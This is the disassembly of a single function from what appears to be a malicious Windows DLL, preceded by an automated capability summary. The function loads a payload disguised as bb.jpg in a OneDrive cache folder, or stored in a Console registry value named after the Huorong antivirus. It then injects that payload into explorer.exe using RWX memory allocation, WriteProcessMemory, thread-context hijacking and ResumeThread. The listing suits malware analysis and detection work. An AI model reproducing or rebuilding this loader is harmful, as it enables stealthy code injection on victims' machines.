Function at 0x1800028d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Query or enumerate registry value
Resume thread
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa58]
sub rsp, 0xb58
mov qword [rbp - 0x28], 0xfffffffffffffffe
xor ebx, ebx
mov qword [rbp + 0xab8], rbx
mov dword [rbp + 0xaa0], ebx
mov eax, dword [0x18002b870]
mov dword [rbp - 0x38], eax
mov eax, dword [0x18002b874]
mov dword [rbp - 0x34], eax
mov eax, dword [0x18002b878]
mov dword [rbp - 0x30], eax
mov eax, dword [0x18002b87c]
mov dword [rbp - 0x2c], eax
mov qword [rbp - 0x68], rbx
lea r9, [rbp - 0x68]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x38]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov r8, qword [rbp - 0x68]
lea rdx, str._sOneDrive
lea rcx, [rbp + 0x840]
call fcn.18000bf60
lea r8, [rbp + 0x840]
lea rdx, str._scache
lea rcx, [rbp + 0x160]
call fcn.18000bf60
mov qword [rbp - 0x80], 7
mov qword [rsp + 0x78], rbx
mov word [rsp + 0x68], bx
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x160]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x160]
lea rcx, [rsp + 0x68]
call fcn.180005cb0
nop
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 8
cmovae rcx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x78]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x1800029dc
lea r8d, [rbx + 1]
lea rdx, [0x18002f968]
lea rcx, [rsp + 0x68]
call fcn.180008330
mov r8d, 6
lea rdx, str.bb.jpg
lea rcx, [rsp + 0x68]
call fcn.180008330
lea r8, [rbp + 0xaa0]
lea rdx, [rbp + 0xab8]
lea rcx, [rsp + 0x68]
call fcn.1800026b0
test al, al
je 0x180002a93
lea rdx, str.Successfully_read_content_from_bb.jpg.
lea rcx, [0x180037170]
call fcn.18000b830
mov rsi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180003fe0
mov edi, ebx
mov rcx, qword [rsi]
movsxd rcx, dword [rcx + 4]
mov r13d, 4
test byte [rcx + rsi + 0x10], 6
jne 0x180002a5b
mov rcx, qword [rcx + rsi + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x68]
cmp eax, 0xffffffff
cmove edi, r13d
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test edi, edi
je 0x180002a80
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x180002a78
or edx, r13d
xor r8d, r8d
call fcn.180001630
mov r12, qword [rbp + 0xab8]
mov r14d, dword [rbp + 0xaa0]
jmp 0x180002e3f
mov dword [rbp + 0xab0], 0x736e6f43
mov dword [rbp + 0xab4], 0x656c6f
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rbp + 0xab0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x180002b42
lea rdx, str.Failed_to_open_registry_key.
lea rcx, [0x180037410]
call fcn.18000b830
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180003fe0
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x180002b17
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov r13d, 4
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x180002b3d
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x180002b34
or edx, 4
xor r8d, r8d
call fcn.180001630
nop
jmp 0x180003438
mov r15d, ebx
mov dword [rbp + 0xaa8], 0x104
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0xaa8]
lea r8, [rbp + 0x50]
xor edx, edx
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov r13d, 4
mov r12, qword [rbp + 0xab8]
mov r14d, dword [rbp + 0xaa0]
test eax, eax
jne 0x180002e35
lea rdx, str.huorong
lea rcx, [rbp + 0x50]
call fcn.18001180c
test rax, rax
je 0x180002d84
mov qword [rbp - 0x48], 0xf
mov qword [rbp - 0x50], rbx
mov byte [rbp - 0x60], 0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x50]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x60]
call fcn.180007e70
nop
mov rdi, qword [rbp - 0x70]
mov dword [rbp + 0xaa0], ebx
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rdx, qword [rbp - 0x60]
lea rax, [rbp + 0xaa0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x180002c97
lea rdx, str.Failed_to_query_size_of_registry_value:
lea rcx, [0x180037410]
call fcn.18000b830
mov rcx, rax
lea rdx, [rbp - 0x60]
call fcn.18000bd30
mov rsi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180003fe0
mov edi, ebx
mov rcx, qword [rsi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x180002c6a
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove edi, r13d
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test edi, edi
je 0x180002c8f
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x180002c87
or edx, 4
xor r8d, r8d
call fcn.180001630
xor dil, dil
jmp 0x180002d6f
mov r14d, dword [rbp + 0xaa0]
mov ecx, r14d
call fcn.180010408
mov r12, rax
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rdx, qword [rbp - 0x60]
lea rax, [rbp + 0xaa0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x180002d6c
mov rcx, r12
call fcn.1800122e0
mov r12, rbx
mov r14d, ebx
lea rdx, str.Failed_to_retrieve_data_from_registry_value:
lea rcx, [0x180037410]
call fcn.18000b830
mov rcx, rax
lea rdx, [rbp - 0x60]
call fcn.18000bd30
mov rsi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180003fe0
mov edi, ebx
mov rcx, qword [rsi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x180002d3b
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove edi, r13d
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test edi, edi
je 0x180002c8f
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], r12
jne 0x180002c87
or edx, 4
xor r8d, r8d
call fcn.180001630
xor dil, dil
jmp 0x180002d6f
mov dil, 1
cmp qword [rbp - 0x48], 0x10
jb 0x180002d7f
mov rcx, qword [rbp - 0x60]
call fcn.180012658
test dil, dil
jne 0x180002dc2
inc r15d
mov dword [rbp + 0xaa8], 0x104
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0xaa8]
lea r8, [rbp + 0x50]
mov edx, r15d
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
jmp 0x180002b8e
lea rdx, str.Successfully_read_content_of_registry_value:
lea rcx, [0x180037170]
call fcn.18000b830
mov rcx, rax
lea rdx, [rbp + 0x50]
call fcn.18000b830
mov rsi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180003fe0
mov edi, ebx
mov rcx, qword [rsi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x180002e10
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove edi, r13d
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test edi, edi
je 0x180002e35
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x180002e2d
or edx, 4
xor r8d, r8d
call fcn.180001630
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r12, r12
je 0x1800033d2
test r14d, r14d
je 0x1800033d2
mov dword [rbp - 0x20], ebx
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp - 0x18]
call fcn.1800141a0
mov qword [rsp + 0x50], rbx
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Windowsexplorer.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x180002f3c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.CreateProcessW_failed_with_error:
lea rcx, [0x180037410]
call fcn.18000b830
mov rcx, rax
mov edx, edi
call fcn.180003e00
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180003fe0
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x180002f09
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x180002f2e
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x180002f26
or edx, 4
xor r8d, r8d
call fcn.180001630
mov rcx, r12
call fcn.1800122e0
nop
jmp 0x180003438
mov edi, r14d
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, r14d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x180003014
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.VirtualAllocEx_failed_with_error:
lea rcx, [0x180037410]
call fcn.18000b830
mov rcx, rax
mov edx, edi
call fcn.180003e00
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180003fe0
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x180002fbb
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x180002fe0
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x180002fd8
or edx, 4
xor r8d, r8d
call fcn.180001630
mov edx, 1
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.1800122e0
nop
jmp 0x180003438
mov qword [rsp + 0x20], rbx
mov r9, rdi
mov r8, r12
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1800030f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.WriteProcessMemory_failed_with_error:
lea rcx, [0x180037410]
call fcn.18000b830
mov rcx, rax
mov edx, edi
call fcn.180003e00
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180003fe0
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x180003087
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x1800030ac
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x1800030a4
or edx, 4
xor r8d, r8d
call fcn.180001630
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 1
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.1800122e0
nop
jmp 0x180003438
mov qword [rbp + 0x370], rbx
xor edx, edx
mov r8d, 0x4c8
lea rcx, [rbp + 0x378]
call fcn.1800141a0
mov dword [rbp + 0x3a0], 0x10000b
lea rdx, [rbp + 0x370]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1800031f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.GetThreadContext_failed_with_error:
lea rcx, [0x180037410]
call fcn.18000b830
mov rcx, rax
mov edx, edi
call fcn.180003e00
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180003fe0
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x180003188
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x1800031ad
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x1800031a5
or edx, 4
xor r8d, r8d
call fcn.180001630
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 1
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.1800122e0
nop
jmp 0x180003438
mov qword [rbp + 0x468], rsi
lea rdx, [rbp + 0x370]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1800032db
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.SetThreadContext_failed_with_error:
lea rcx, [0x180037410]
call fcn.18000b830
mov rcx, rax
mov edx, edi
call fcn.180003e00
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180003fe0
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x18000326b
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x180003290
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x180003288
or edx, 4
xor r8d, r8d
call fcn.180001630
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 1
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.1800122e0
nop
jmp 0x180003438
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x1800033b1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.ResumeThread_failed_with_error:
lea rcx, [0x180037410]
call fcn.18000b830
mov rcx, rax
mov edx, edi
call fcn.180003e00
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180003fe0
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x180003341
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x180003366
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x18000335e
or edx, 4
xor r8d, r8d
call fcn.180001630
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 1
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.1800122e0
nop
jmp 0x180003438
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.1800122e0
nop
jmp 0x180003438
lea rdx, str.Pdata_is_NULL_or_empty._Unable_to_proceed.
lea rcx, [0x180037410]
call fcn.18000b830
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.180003fe0
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x180003412
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r13d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x180003438
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x18000342f
or edx, 4
xor r8d, r8d
call fcn.180001630
nop
cmp qword [rbp - 0x80], 8
jb 0x180003449
mov rcx, qword [rsp + 0x68]
call fcn.180012658
add rsp, 0xb58
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret